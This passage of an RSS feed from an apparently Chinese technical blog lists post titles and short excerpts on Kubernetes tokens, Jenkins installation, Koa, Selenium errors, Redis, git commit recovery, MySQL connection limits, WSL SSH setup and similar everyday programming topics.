      <description>1.查看Token [root@m1 admin]# kubeadm token list TOKEN TTL EXPIRES USAGES DESCRIPTION EXTRA GROUPS bwa8py.ghf5s0vfsxz1d7fx &amp;lt;invalid&amp;gt; 2022-08-01T19:06:15+08:00 authentication,signing kubelet-bootstrap-token system:bootstrappers:worker mbwfv6.lbasbfken6or58re 23h 2022-08-04T21:29:20+08:00 authentication,signing kubelet-bootstrap-token system:bootstrappers:worker yvsocr.b40go6o23ee85wrs &amp;lt;forever&amp;gt; &amp;lt;never&amp;gt; authentication,signing kubelet-bootstrap-token system:bootstrappers:worker 2.设置用不过期Token&#xA;# 不加只有24H小时 [root@m1 admin]# kubeadm token create # 加上 kubeadm token create --ttl 0 [root@m1 admin]# export BOOTSTRAP_TOKEN=$(kubeadm token create --ttl 0 \ --description kubelet-bootstrap-token \ --groups system:bootstrappers:worker \ --kubeconfig kube.config) 获取CA公钥的哈希值 openssl x509 -pubkey -in /etc/kubernetes/pki/ca.crt | openssl rsa -pubin -outform der 2&amp;gt;/dev/null | openssl dgst -sha256 -hex | sed &#39;s/^ .</description>
    </item>
    <item>
      <title>【一步到位】Jenkins的安装、部署、启动(完整教程)</title>
      <link>https://bchobby.github.io/posts/35bbedb1a36034f09adc19c5234a6a20/</link>
      <pubDate>Wed, 03 Aug 2022 21:35:41 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/35bbedb1a36034f09adc19c5234a6a20/</guid>
      <description>一、测试环境 Linux系统 Centos 7 二、安装步骤： 1、安装jdk 我安装的是jdk8，此处就不多说了，自己百度哈，很简单&#xA;2、安装jenkins 首先依次执行如下三个命令：&#xA;2.1、导入镜像：&#xA;[root@centos7 ~]# sudo wget -O /etc/yum.repos.d/jenkins.repo https://pkg.jenkins.io/redhat-stable/jenkins.repo --2019-12-24 17:59:44-- https://pkg.jenkins.io/redhat-stable/jenkins.repo Resolving pkg.jenkins.io (pkg.jenkins.io)... 52.202.51.185 Connecting to pkg.jenkins.io (pkg.jenkins.io)|52.202.51.185|:443... connected. HTTP request sent, awaiting response... 200 OK Length: 85 Saving to: ‘/etc/yum.repos.d/jenkins.repo’ 100%[=====================================================================================================================================================&amp;gt;] 85 --.-K/s in 0s 2019-12-24 18:00:47 (17.4 MB/s) - ‘/etc/yum.repos.d/jenkins.repo’ saved [85/85] 2.2、导入公钥&#xA;[root@centos7 ~]# sudo rpm --import https://pkg.jenkins.io/redhat-stable/jenkins.io.key 2.3、安装jenkins：&#xA;[root@centos7 ~]# yum install jenkins Loaded plugins: fastestmirror Loading mirror speeds from cached hostfile Resolving Dependencies --&amp;gt; Running transaction check ---&amp;gt; Package jenkins.</description>
    </item>
    <item>
      <title>koa框架</title>
      <link>https://bchobby.github.io/posts/f69ebd1d9c21099eff85b4d0318070b5/</link>
      <pubDate>Wed, 03 Aug 2022 19:10:33 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/f69ebd1d9c21099eff85b4d0318070b5/</guid>
      <description>文章目录 koa和express的区别同步代码异步代码 koa下载安装koa的基本使用koa的路由koa静态资源koa获取请求参数get请求参数获取post请求参数获取 koa的ejs模板koa- 登录鉴权cookie和sessionkoa-cookiekoa-session JWT koa 文件上传koa 操作MongoDB koa是由Express原班人马打造的，致力于成为一个更小、更富有表现力、更健壮的Web框架。使用koa编写web应用,通过组合不同的generator,可以免除重复繁琐的 回调函数嵌套 ，并极大地提升错误处理的效率。koa不在内核方法中绑定任何中间件，它仅仅提供了-个轻量优雅的函数库，使得编写Web应用变得得心应手。 koa和express的区别 Koa采用洋葱模型&#xA;通常都会说Koa是洋葱模型,这重点在于中间件的设计。但是按照上面的分析,会发现Express也是类似的，不同的是Express中间件机制使用了Callback 实现，这样如果出现异步则可能会使你在执行顺序上感到困惑，因此如果我们想做接口耗时统计、错误处理Koa的这种中间件模式处理起来更方便些。最后一点响应机制也很重要,&#xA;Koa不是立即响应，是整个中间件处理完成在最外层进行了响应，而Express则是立即响应。&#xA;Koa更轻量&#xA;koa不提供内置的中间件;&#xA;koa不提供路由，而是把路由这个库分离出来了(koa/router)&#xA;Context对象&#xA;koa增加了一个Context的对象，作为这次请求的上下文对象(在koa2中作为中间件的第一个参数传入)。同时Context上也挂载了Request和Response两个对象。Express类似, 这两个对象都提供了大量的便捷方法辅助开发这样的话对于在保存一些公有的参 数的话变得更加合情合理。&#xA;异步流程控制&#xA;express采用callback来处理异步，koa采用async/await。&#xA;async/await使用同步的写法来处理异步，明显好于callback和promise,&#xA;中间件模型&#xA;express基于connect中间件,线性模型;&#xA;koa中间件采用洋葱模型(对于每个中间件,在完成了-些事情后，可以非常优雅的将控制权传递给下一个中间件，并能够等待它完成，当后续的中间件完成处理后，控制权又回到了自己)&#xA;代码示例：&#xA;同步代码 同步方法没有什么区别：&#xA;01-express-同步.js const express = require(&#34;express&#34;) const app = express() app.use((req, res, next) =&amp;gt; { console.log(&#34;111111&#34;) next() console.log(&#34;333333&#34;) res.send(&#34;hello world&#34;) }) app.use((req, res, next) =&amp;gt; { // 同步操作 console.log(&#34;22222&#34;) }) app.listen(3000) 运行输出&#xA;111111 22222 333333 01-koa-同步 .js const Koa = require(&#34;</description>
    </item>
    <item>
      <title>IDEA运行selenium程序提示错误：Exception in thread “main“ org.openqa.selenium.SessionNotCreatedException:</title>
      <link>https://bchobby.github.io/posts/c67390c590e2842b7a116c0a014dd621/</link>
      <pubDate>Wed, 03 Aug 2022 19:00:39 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/c67390c590e2842b7a116c0a014dd621/</guid>
      <description>SLF4J: Failed to load class &#34;org.slf4j.impl.StaticLoggerBinder&#34;.&#xA;SLF4J: Defaulting to no-operation (NOP) logger implementation&#xA;SLF4J: See http://www.slf4j.org/codes.html#StaticLoggerBinder for further details.&#xA;Starting ChromeDriver 100.0.4896.60 (6a5d10861ce8de5fce22564658033b43cb7de047-refs/branch-heads/4896@{#875}) on port 50749&#xA;Only local connections are allowed.&#xA;Please see https://chromedriver.chromium.org/security-considerations for suggestions on keeping ChromeDriver safe.&#xA;ChromeDriver was started successfully.&#xA;Exception in thread &#34;main&#34; org.openqa.selenium.SessionNotCreatedException: Could not start a new session. Response code 500. Message: session not created: This version of ChromeDriver only supports Chrome version 100</description>
    </item>
    <item>
      <title>QGraphicsView框架的界面</title>
      <link>https://bchobby.github.io/posts/0d648aba22cb055bb3a7e1df1c1118a5/</link>
      <pubDate>Wed, 03 Aug 2022 18:14:10 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/0d648aba22cb055bb3a7e1df1c1118a5/</guid>
      <description>在view中创建一个item，思路:相当于用qgraphicsItem绘制了一个边框，在自定义的item中添加一个总的QWidget,里面的控件可以通过stylesheet设置透明等等，这样就可以在qt的界面编辑器中进行界面布局，方便，效果如下&#xA;具体代码:&#xA;DialogItem类的.c文件&#xA;#include &#34;MyGraphicsItem.h&#34; #include &amp;lt;QFontMetrics&amp;gt; #include &amp;lt;QPainter&amp;gt; #include &amp;lt;QMouseEvent&amp;gt; #include &amp;lt;QGraphicsSceneHoverEvent&amp;gt; #include &amp;lt;QGraphicsScene&amp;gt; #include &amp;lt;QPushButton&amp;gt; #include &amp;lt;QGraphicsProxyWidget&amp;gt; #include &amp;lt;QVBoxLayout&amp;gt; #include &amp;lt;QHBoxLayout&amp;gt; #include &amp;lt;QGraphicsSceneMouseEvent&amp;gt; #include &amp;lt;QGraphicsLayout&amp;gt; #include &amp;lt;QDebug&amp;gt; TitleBarItem::TitleBarItem(qreal x,qreal y,qreal width,qreal height): m_bInPath(false) { m_rect = QRectF(x,y,width,height); setAcceptHoverEvents(true); setAcceptedMouseButtons(Qt::LeftButton); } void TitleBarItem::updateGeometry() { prepareGeometryChange(); //setPos(); } void TitleBarItem::setItemTitle(const QString &amp;amp;strText) { m_strtitle = strText; } void TitleBarItem::setItemTitleFont(QFont font) { m_font = font; } void TitleBarItem::setRect(qreal x, qreal y, qreal width, qreal height) { prepareGeometryChange(); m_rect = QRectF(x,y,width,height); m_closeRect = QRectF(m_rect.</description>
    </item>
    <item>
      <title>Redis IO多路复用理解</title>
      <link>https://bchobby.github.io/posts/6e901e1275d2c4de942e7b7ae4d226c9/</link>
      <pubDate>Wed, 03 Aug 2022 17:00:05 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/6e901e1275d2c4de942e7b7ae4d226c9/</guid>
      <description>IO多路复用在Redis中的应用 Redis 服务器是一个事件驱动程序， 服务器处理的事件分为时间事件和文件事件两类。&#xA;文件事件：Redis主进程中，主要处理客户端的连接请求与相应。时间事件：fork出的子进程中，处理如AOF持久化任务等。 由于Redis的文件事件是单进程，单线程模型，但是确保持着优秀的吞吐量，IO多路复用起到了主要作用。&#xA;文件事件是对套接字操作的抽象，每当一个套接字准备好执行连接应答、写入、读取、关闭等操作时，就会产生一个文件事件。因为一个服务器通常会连接多个套接字，所以多个文件事件有可能会并发地出现。&#xA;IO多路复用程序负责监听多个套接字并向文件事件分派器传送那些产生了事件的套接字。文件事件分派器接收IO多路复用程序传来的套接字，并根据套接字产生的事件的类型，调用相应的事件处理器。示例如图所示&#xA;Redis的IO多路复用程序的所有功能都是通过包装常见的select、poll、evport和kqueue这些IO多路复用函数库来实现的，每个IO多路复用函数库在Redis源码中都有对应的一个单独的文件。&#xA;Redis为每个IO多路复用函数库都实现了相同的API，所以IO多路复用程序的底层实现是可以互换的。如图：&#xA;多个IO复用库实现可选&#xA;Redis把所有连接与读写事件、还有我们没提到的时间事件一起集中管理，并对底层IO多路复用机制进行了封装，最终实现了单进程能够处理多个连接以及读写事件。这就是IO多路复用在redis中的应用。&#xA;改进 Redis 6.0 之后的版本开始选择性使用多线程模型。&#xA;Redis 选择使用单线程模型处理客户端的请求主要还是因为 CPU 不是 Redis 服务器的瓶颈，使用多线程模型带来的性能提升并不能抵消它带来的开发成本和维护成本，系统的性能瓶颈也主要在网络 I/O 操作上；&#xA;而 Redis 引入多线程操作也是出于性能上的考虑，对于一些大键值对的删除操作，通过多线程非阻塞地释放内存空间也能减少对 Redis 主线程阻塞的时间，提高执行的效率。&#xA;参考：一文搞懂 Redis高性能之IO多路复用</description>
    </item>
    <item>
      <title>csv导出文件名乱码解决</title>
      <link>https://bchobby.github.io/posts/b2b9f82d16706960ade1079839585eb6/</link>
      <pubDate>Wed, 03 Aug 2022 15:31:51 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/b2b9f82d16706960ade1079839585eb6/</guid>
      <description>public void exportCsv(ExamineDTO examineDTO, HttpServletRequest request, HttpServletResponse response) throws ServiceException { try { // 文件名 String fileName = &#34;报表导出_&#34; + System.currentTimeMillis() + &#34;.csv&#34;; String excelName = excelName(fileName, request); response.setContentType(&#34;application/octet-stream;charset=ISO8859-1&#34;); response.setHeader(&#34;Content-Disposition&#34;, &#34;attachment;filename=&#34; + excelName); response.addHeader(&#34;Pargam&#34;, &#34;no-cache&#34;); response.addHeader(&#34;Cache-Control&#34;, &#34;no-cache&#34;); // 查询具体数据 List&amp;lt;String[]&amp;gt; list = this.examineDao.queryExamineCsvReportList(examineDTO); CSVUtil.write(response, list); } catch (ServiceException e) { logger.error(&#34;报表数据导出异常,异常信息为：{}&#34;, e.getMessage(), e); throw new ServiceException(&#34;报表数据导出异常&#34;, e.getMessage(), e); } } private String excelName(String name, HttpServletRequest request) throws ServiceException { String userAgent = request.</description>
    </item>
    <item>
      <title>如何找到系统支持的最大并发数</title>
      <link>https://bchobby.github.io/posts/cc0725526a44c4e664dde580d565f51f/</link>
      <pubDate>Wed, 03 Aug 2022 14:38:37 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/cc0725526a44c4e664dde580d565f51f/</guid>
      <description>如何找到系统支持的最大并发数 1.Jmeter搭建性能测试脚本&#xA;（1）创建阶梯压测策略（200用户并发）&#xA;场景为在5秒内增加10个并发用户数，并运行30秒，再继续在5秒内增加10个并发用户数，重复循环，直至并发用户数达到50个后运行脚本60秒。然后在每1秒内减少5个并发用户数，直到减为0，结束脚本的运行。&#xA;（2）创建需要压测的接口&#xA;（3）放置监控结果数据的插件&#xA;3.性能结果分析找到支持的最大并发数&#xA;通过检测结果可以得出结论：&#xA;响应时间2秒内为基准，当并发用户数为200时，90%响应时间为3.964秒，响应时间超过2秒，吞吐量为：56/sec,TPS在并发用户150的用户下出现明显的下降趋势，响应时间出现上升趋势，由此判定外部聊天接口支持150用户并发。&#xA;注意：&#xA;1.需要安装Jmeter对应的监控插件&#xA;2.结合TPS曲线及响应时间曲线去判断支持的并发用户范围&#xA;3.TPS越大说明系统处理能力越强，响应时间越短说明处理能力越强&#xA;4.在区间中逐步增加步长，出现以下任意现象时，即是最大并发用户数：&#xA;（1）出现接口连续报错&#xA;（2）平均响应时间超过2秒（2秒是行业标准）&#xA;（3）TPS呈现下降趋势</description>
    </item>
    <item>
      <title>解决Apache JMeter Dashboard报告缺失一部分图表的问题</title>
      <link>https://bchobby.github.io/posts/cc56d2cfc9c31682f5c31b0e14d6dfb9/</link>
      <pubDate>Wed, 03 Aug 2022 12:59:48 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/cc56d2cfc9c31682f5c31b0e14d6dfb9/</guid>
      <description> 背景 使用jmeter命令行模式执行脚本生成html报告，查看报告发现有一部分图表的展示为空，分别是Response Times Over Time、 Latencies Over Time、Connect Time Over Time、Transactions Per Second、Response Time Percentiles、Time Vs Threads、Response Time Distribution这些图表的数据缺失 初始解决思路 调整脚本线程数以及运行时间修改jmeter/bin目录下的user.properties、reportgenerator.properties、jmeter.properties配置进行调试多次尝试后无果下载更高版本的jmeter进行试验，结果并没有什么不同 正解 查看jmeter官网关于报告的先决条件后并未发现有何差异，随根据第二种方案进行排查原因竟是jmx脚本里的线程名带有特殊字符导致的问题，将线程名改成中文/英文即解决，Apache JMeter Dashboard所有报告模板都可正常展示谨记命名需规范，空格和特殊字符以及中文等等，排查起来真的费劲… </description>
    </item>
    <item>
      <title>python代替wget下载文件</title>
      <link>https://bchobby.github.io/posts/42aa40fa566b0bc0c2729e8a611a2d2d/</link>
      <pubDate>Wed, 03 Aug 2022 10:20:38 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/42aa40fa566b0bc0c2729e8a611a2d2d/</guid>
      <description> python代替wget下载文件 背景：wget下载http文件有时显示forbidden，尝试过后发现python挺好使&#xA;使用request直接下载小文件 import requests url = &#34;my_url&#34; r = requests.get(url) with open(&#34;file_name&#34;,&#39;wb&#39;) as f: f.write(r.content) 使用request下载大文件 import requests file_url = &#34;myurl&#34; r = requests.get(file_url, stream=True) with open(&#34;file_name&#34;, &#34;wb&#34;) as f: for chunk in r.iter_content(chunk_size=1024**2): if chunk: f.write(chunk) 好使😀 </description>
    </item>
    <item>
      <title>【图像处理】c&#43;&#43;使用opencv对图像进行轮廓识别</title>
      <link>https://bchobby.github.io/posts/bd788fac820c5c368d9e859231ff3a54/</link>
      <pubDate>Wed, 03 Aug 2022 09:45:16 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/bd788fac820c5c368d9e859231ff3a54/</guid>
      <description>学习目标：学习使用C++对图像轮廓进行提取&#xA;文章目录 轮廓提取的代码实现运行结果 轮廓提取的代码实现 #include &amp;lt;opencv2/imgcodecs.hpp&amp;gt; #include &amp;lt;opencv2/highgui.hpp&amp;gt; #include &amp;lt;opencv2/imgproc.hpp&amp;gt; #include &amp;lt;iostream&amp;gt; using namespace cv; using namespace std; Mat src; Mat src_gray; int thresh = 100; int max_thresh = 255; RNG rng(12345); void thresh_callback(int, void*); int main(int argc, char** argv) { String imageName(&#34;./1.jpg&#34;); if (argc &amp;gt; 1) { imageName = argv[1]; } src = imread(imageName, IMREAD_COLOR); if (src.empty()) { cerr &amp;lt;&amp;lt; &#34;No image supplied ...&#34; &amp;lt;&amp;lt; endl; return -1; } cvtColor(src, src_gray, COLOR_BGR2GRAY); blur(src_gray, src_gray, Size(3, 3)); const char* source_window = &#34;</description>
    </item>
    <item>
      <title>git删除commit方法和误删commit后的恢复方法</title>
      <link>https://bchobby.github.io/posts/0e621955532a456beb129f248396d203/</link>
      <pubDate>Tue, 02 Aug 2022 18:05:06 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/0e621955532a456beb129f248396d203/</guid>
      <description>一、如果你在git上提交了错误的commit，不要慌，通过下面的方法可以回退到之前的commit 如果只误提交了一个commit， 直接执行&#xA;git reset --hard HEAD^ 这一条命令就OK了（但是这条命令会把最近一次commit的代码删除哦，如果要保留代码，请看本文最后面部分）&#xA;如果你要回滚多个 commit 可以使用下面的方法：&#xA;第一步：通过git log可以查看我们之前提交的commit_id：&#xA;第二步：复制你需要回滚的commit_id。不过windows下的命令行是不能复制文本的，为此你可以到github上查看仓库的commit历史，上面是可以直接复制的：&#xA;复制好后在命令行执行：git reset --hard &amp;lt;commit_id&amp;gt;&#xA;git reset --hard 4458e09 第三步：执行: git push origin HEAD --force 提交当前HEAD&#xA;这样就能够将错误的提交删除，回滚至其之前的代码&#xA;但是如果当你回滚代码以后发现commit_id复制错了或者回滚错了怎么办呢？不要慌！！！按下面的方法做：&#xA;第一步：执行 git reflog&#xA;你能在命令行中看到你的历史操作，复制你要恢复操作最前面的hash值&#xA;第二步：执行 git reset --hard &amp;lt;hash&amp;gt;&#xA;命令中最后要输的hash就是你要恢复的历史记录最前面黄色部分的hash值&#xA;比如：&#xA;git reset --hard 4458e09 这样就成功解决问题了。&#xA;但是上面的操作仍然有缺陷，我们经常遇到的情况是：在错误的分支写了大量代码，并且已经push到远程仓库，这个时候我们要的不仅是回退commit，并且要保留自己新写的代码并且合并到正确的分支上。&#xA;接下来不要眨眼，我们来演示如何解决问题：&#xA;第一步：找到你提交之前的最新commit id，执行如下命令：&#xA;git reset --soft 4458e09 这条命令会把你本地的当前分支回退到之前的commit，并且保留你在这条commit 之后写的代码。&#xA;第二步：执行git stash 将新写的代码放到缓存中&#xA;git stash 第三步：把当前分支强行覆盖远程分支&#xA;git push --force 第四步：切换到正确的开发分支，这里假设是dev分支&#xA;git checkout dev 第五步：把缓存的代码从内存中 pop 出来</description>
    </item>
    <item>
      <title>C&#43;&#43;中“ ? : ”三目运算符的坑</title>
      <link>https://bchobby.github.io/posts/ceb75a0673bed9d49f7f667295acb24e/</link>
      <pubDate>Tue, 02 Aug 2022 17:56:31 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/ceb75a0673bed9d49f7f667295acb24e/</guid>
      <description>文章目录 背景原因解决方法 背景 刷洛谷的题时，我写了这行代码：&#xA;dp[i][j]=dp[i][j]+obstacleGrid[i][j-1]?0:dp[i][j-1]+obstacleGrid[i-1][j]?0:dp[i-1][j]; 我觉得没啥问题，但答案就是异常，搞得我很崩溃&#xA;原因 因为三目运算符也是要遵循运算顺序了，具体的我没细想，但如果不加以限制肯定会出错，比如这两个dp[i][j-1]+obstacleGrid[i-1]会先加在一起之类的&#xA;解决方法 加括号！&#xA;dp[i][j]=dp[i][j]+(obstacleGrid[i][j-1]?0:dp[i][j-1])+(obstacleGrid[i-1][j]?0:dp[i-1][j]); 希望能帮到大家</description>
    </item>
    <item>
      <title>Cause: com.mysql.jdbc.exceptions.jdbc4.MySQLNonTransientConnectionException:</title>
      <link>https://bchobby.github.io/posts/988a5a5a807c8864012236e9811cdce6/</link>
      <pubDate>Tue, 02 Aug 2022 17:45:04 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/988a5a5a807c8864012236e9811cdce6/</guid>
      <description>Cause: com.mysql.jdbc.exceptions.jdbc4.MySQLNonTransientConnectionException: Could not create connection to database server. Attempted reconnect 3 times. Giving up.&#xA;现象：同一服务器上同时启动多个相同项目做分服测试，结果是有的服务器成功启动，有的服务器启动失败，原因均为：mysql连接超时；&#xA;服务器情况：单服 centos7(32c64g) 上同时部署了 26个相同的多服拓展测试项目 + mysql5.7.18&#xA;问题解析：同服同项目情况下，多数（21个）项目成功启动，后续（5个）启动失败，而且均报mysql连接超时。那么可证明不是测试项目问题，而是mysql存在问题，再结合启动顺序和错误出现的时间来看，问题的关节点多半与连接数有关。结合这个结论，进入mysql后台，查看mysql最大连接数及当前连接数使用情况&#xA;show variables like &#39;%max_connection%&#39;; ----- 查看最大连接数（查询后默认值为：152）&#xA;查看当前mysql连接数使用情况：show status like &#39;Threads%&#39;; Threads_cached 0&#xA;Threads_connected 151 --- 当前连接数&#xA;Threads_created 157 --- 创建过的线程数&#xA;Threads_running 1 --- 当前激活的连接数（数值一般小于connected）&#xA;从以上查询结果中可以看出，连接数已经达到上限了，所以后续第22个项目启动时，自然是无连接可用了，所以需重新设置一下mysql的最大连接上限了。&#xA;set global max_connections=1000; ----- 重新设置最大连接数（将连接上限改为：1000）&#xA;后续再次启动第22个项目成功了，那么证明后续项目也是同样原因造成的，直接逐一启动即可。&#xA;最后再次查看一下当前连接数：&#xA;Threads_cached 0&#xA;Threads_connected 189&#xA;Threads_created 193&#xA;Threads_running 1&#xA;结语：该问题存在诸多特殊性情况，单服模拟多项目分服拓展下造成了对同一mysql的大量连接。所以看了下网上的mysql版本原因对我并不适用，同时存在成功启动的项目，那么也在一方面证明了mysql是可用的，而结合连接数量的叠加以及启动顺序的差异，可以大概确认为mysql连接数上限存在问题。所以问题排查时需要先剖析问题本质，再对症下药。</description>
    </item>
    <item>
      <title>云原生数据仓库AnalyticDB Mysql(ADB分析型数据库)-DML语法之新增插入数据详解</title>
      <link>https://bchobby.github.io/posts/577410da513bb35d42878789df80d6ab/</link>
      <pubDate>Tue, 02 Aug 2022 17:45:01 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/577410da513bb35d42878789df80d6ab/</guid>
      <description>云原生数据仓库AnalyticDB Mysql(ADB分析型数据库)-DML语法之新增插入数据 ADB分析型数据库，是阿里云平台上资源，原名叫云原生数据仓库AnalyticDB Mysql，俗称ADB分析型数据库，那么ADB的语法与mysql关系型数据库语法存在一定的差异。&#xA;本文为笔记，介绍ADB的DML语法的应用。&#xA;1. INSERT INTO INSERT INTO用于向表中插入数据，主键重复时会自动忽略当前写入数据不做更新，作用等同于INSERT IGNORE INTO。&#xA;语法：&#xA;INSERT [IGNORE] INTO table_name [( column_name [, …] )] [VALUES] [(value_list[, …])] [query]; IGNORE：可选参数，判断是否有与之相同的主键数据，新记录不会被写入。 column_name：可选参数，列名。 query：通过定义查询，将一行或多行数据插入表中。 注意：&#xA;如果插入数据时不指定列名，则要插入的数据必须和CREATE TABLE语句中声明的列的顺序一致。&#xA;示例：&#xA;CREATE TABLE adb_order.order_info ( order_no varchar NOT NULL COMMENT &#39;订单号&#39;, stt_ym varchar NOT NULL COMMENT &#39;统计年月&#39;, mount decimal(16, 2) NOT NULL COMMENT &#39;订单金额&#39;, order_num int NOT NULL COMMENT &#39;订单量&#39;, PRIMARY KEY (order_no) ) PARTITION BY HASH KEY (stt_ym) PARTITION NUM 128 TABLEGROUP adb_order_test OPTIONS (UPDATETYPE=&#39;realtime&#39;) COMMENT &#39;订单表表&#39; 向order_info 表中插入一条数据。</description>
    </item>
    <item>
      <title>windows中Ubuntu子系统的连接</title>
      <link>https://bchobby.github.io/posts/17bf574edd5c943c4120ed4cc64324f5/</link>
      <pubDate>Tue, 02 Aug 2022 17:19:49 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/17bf574edd5c943c4120ed4cc64324f5/</guid>
      <description>引言 连接Ubuntu子系统，除了在上一篇Xshell的下载与安装中已经提到的使用类似于Xshell的SSH远程终端工具外，还可以使用Notepad++，前者可以执行任何shell命令，而后者只能对服务器中的文件进行编辑。本篇章介绍两种不同的方式连接Ubuntu子系统。&#xA;xshell连接Ubuntu子系统 1.安装ssh&#xA;# 安装ssh sudo apt-get install openssh-server 2.修改配置文件&#xA;vim /etc/ssh/sshd_config #编辑文件 修改配置文件允许明文密码，将PasswordAuthentication， 改为yes可以使用密码登录，如果使用ssh秘钥对登录，则不修改原有的值no；设置端口号为22&#xA;Port 22 PasswordAuthentication yes 注：可以修改默认端口号，但是后续如果要安装hadoop，修改了port参数会带来很多不必要的麻烦，所以建议不修改。&#xA;可能遇到的问题：&#xA;1）文件修改后，输入:wq保存退出，如果提示E45: &#39;readonly&#39; option is set (add ! to override) ，则输入:wq!强制保存退出。&#xA;2）如果输入:wq!强制保存退出失败，显示&#34;/etc/ssh/sshd_config&#34; E212: Can&#39;t open file for writing ，原因为权限不够，普通无法保存，需要使用超级用户才可以，则进行下面的操作：&#xA;sudo su # 切换到root用户 然后就可以编辑配置文件vim /etc/ssh/sshd_config，修改后直接:wq保存退出。&#xA;3.重启ssh服务&#xA;sudo service ssh --full-restart 重启成功后提示：&#xA;* Stopping OpenBSD Secure Shell server sshd [ OK ] * Starting OpenBSD Secure Shell server sshd [ OK ] 4.</description>
    </item>
    <item>
      <title>Windows允许tomcat报错 The APR based Apache Tomcat Native</title>
      <link>https://bchobby.github.io/posts/5455ac1cfd2259d9118926a44cf040f8/</link>
      <pubDate>Tue, 02 Aug 2022 17:02:24 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/5455ac1cfd2259d9118926a44cf040f8/</guid>
      <description>在允许tomcat的的时候出现PATH&#xA;The APR based Apache Tomcat Native library which allows optimal performance in production environments was not found on the java.library.path: C:\jdk1.6.23_112\bin;C:\Windows\Sun\Java\bin;C:\Windows\system32;C:\Windows;&#xA;问题解决方法&#xA;win + r ## 输入cmd set path ## 查看当前环境的path 在后面增加 一个 jdk的路径,不需要bin目录 然后重启下tomcat就okl</description>
    </item>
    <item>
      <title>Windows10蓝屏的诸多解决方法</title>
      <link>https://bchobby.github.io/posts/991217b5a7c47bf87b6ebce3c423d6be/</link>
      <pubDate>Tue, 02 Aug 2022 16:58:50 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/991217b5a7c47bf87b6ebce3c423d6be/</guid>
      <description>买回一台组装机，性能强悍，但是随着使用时间的延长，Windows 10操作系统经常崩溃，显示蓝屏。报错码如下：&#xA;WHEA_UNCORRECTABLE_ERROR 方法一：在BIOS中，更改“Intel C-State”、“XMP”和CPU核心电压解决。 1、组装机的主板是华硕，所以可以在开机时，进入BIOS界面，在Advanced(高级设置)——CPU Configuration(CPU设置)中禁用“Intel C-State”，更改后进行保存，查看蓝屏重启问题是否有改善。&#xA;2、华硕的ROG主板在打开ai core enhancement选项，而未打开XMP时也会出现终止代码WHEA_UNCORRECTABLE_ERROR蓝屏的问题，所以可以尝试打开XMP选项。&#xA;3、CPU超频也会导致蓝屏问题，可以在BIOS中将核心电压设置为1.2V或者直接将主板上的纽扣电池扣掉，重新安装回去试试。&#xA;方法二：将虚拟内存由手动改为自动 右键点击“此电脑”选择“属性”，我们再点击高级系统设置，在系统属性的高级选项卡界面中，在性能一栏点击“设置”，在性能选项界面中，虚拟内存一栏中点击“更改”，勾选“自动管理所有驱动器分页文件大小。 我尝试了以上方法，蓝屏重启的问题居然得到了解决。但是大家也要谨慎尝试。</description>
    </item>
    <item>
      <title>PTA非零返回的解决办法java</title>
      <link>https://bchobby.github.io/posts/c99ad9dc082c5d9513d02b3522fb3fe6/</link>
      <pubDate>Tue, 02 Aug 2022 16:49:32 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/c99ad9dc082c5d9513d02b3522fb3fe6/</guid>
      <description>应该不止我一个是在PTA做题遇到了 非零返回 导致不能AC，结果网上搜了一大堆相关资料按照步骤说的来改后依然没什么用的倒霉蛋吧。。这是一件很无助的事情，而且改代码真的很烦……&#xA;造成非零返回的原因很多，但是多数情况下或许并不是你的代码有问题，只是你跳的太快PTA跟不上你的速度罢了……文章只讲这种情况下的解决方法：&#xA;对此，你只需要回去从头到尾看一下你的代码，是不是有哪些地方太过聪明、复杂、睿智，或者容易造成歧义，找出这部分代码，然后把他们改成简单语句就OK了&#xA;另外了解一下什么是非零返回&#xA;非零返回是指：我们的程序的一些语法，在PTA执行的过程中抛出了异常，导致程序没能运行到最后一步return，就导致了非零返回。&#xA;但是这些语法在其他编译器上是可以通过的，就是在PTA上不行，反正我在IDE上是可以正确运行出结果的&#xA;附上实例↓↓↓&#xA;这是我修改之前的代码：&#xA;import java.util.Scanner;&#xA;public class Main {&#xA;public static void main(String[] args) {&#xA;// TODO Auto-generated method stub&#xA;Scanner in=new Scanner(System.in);&#xA;int num=in.nextInt();&#xA;for(int i=0;i&amp;lt;num;i++) {&#xA;if(in.nextInt()==0) {&#xA;Student s=new Student(in.nextInt(),in.next(),in.nextInt(),in.next(),in.nextDouble());&#xA;System.out.println(s.toString());&#xA;}&#xA;if(in.nextInt()==1) {&#xA;Teacher t=new Teacher(in.nextInt(),in.next(),in.nextInt(),in.next(),in.nextDouble());&#xA;System.out.println(t.toString());&#xA;}&#xA;}&#xA;in.close();&#xA;}&#xA;}&#xA;class Person{&#xA;int id;&#xA;String name;&#xA;int bir;&#xA;Person(int id,String name,int bir) {&#xA;this.id=id;&#xA;this.name=name;&#xA;this.bir=bir;</description>
    </item>
    <item>
      <title>【智能优化算法-白鲸优化算法】基于白鲸优化算法求解单目标优化问题附matlab代码</title>
      <link>https://bchobby.github.io/posts/7338b4c2084cd58a8c358c8b9e1f07a3/</link>
      <pubDate>Tue, 02 Aug 2022 16:37:39 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/7338b4c2084cd58a8c358c8b9e1f07a3/</guid>
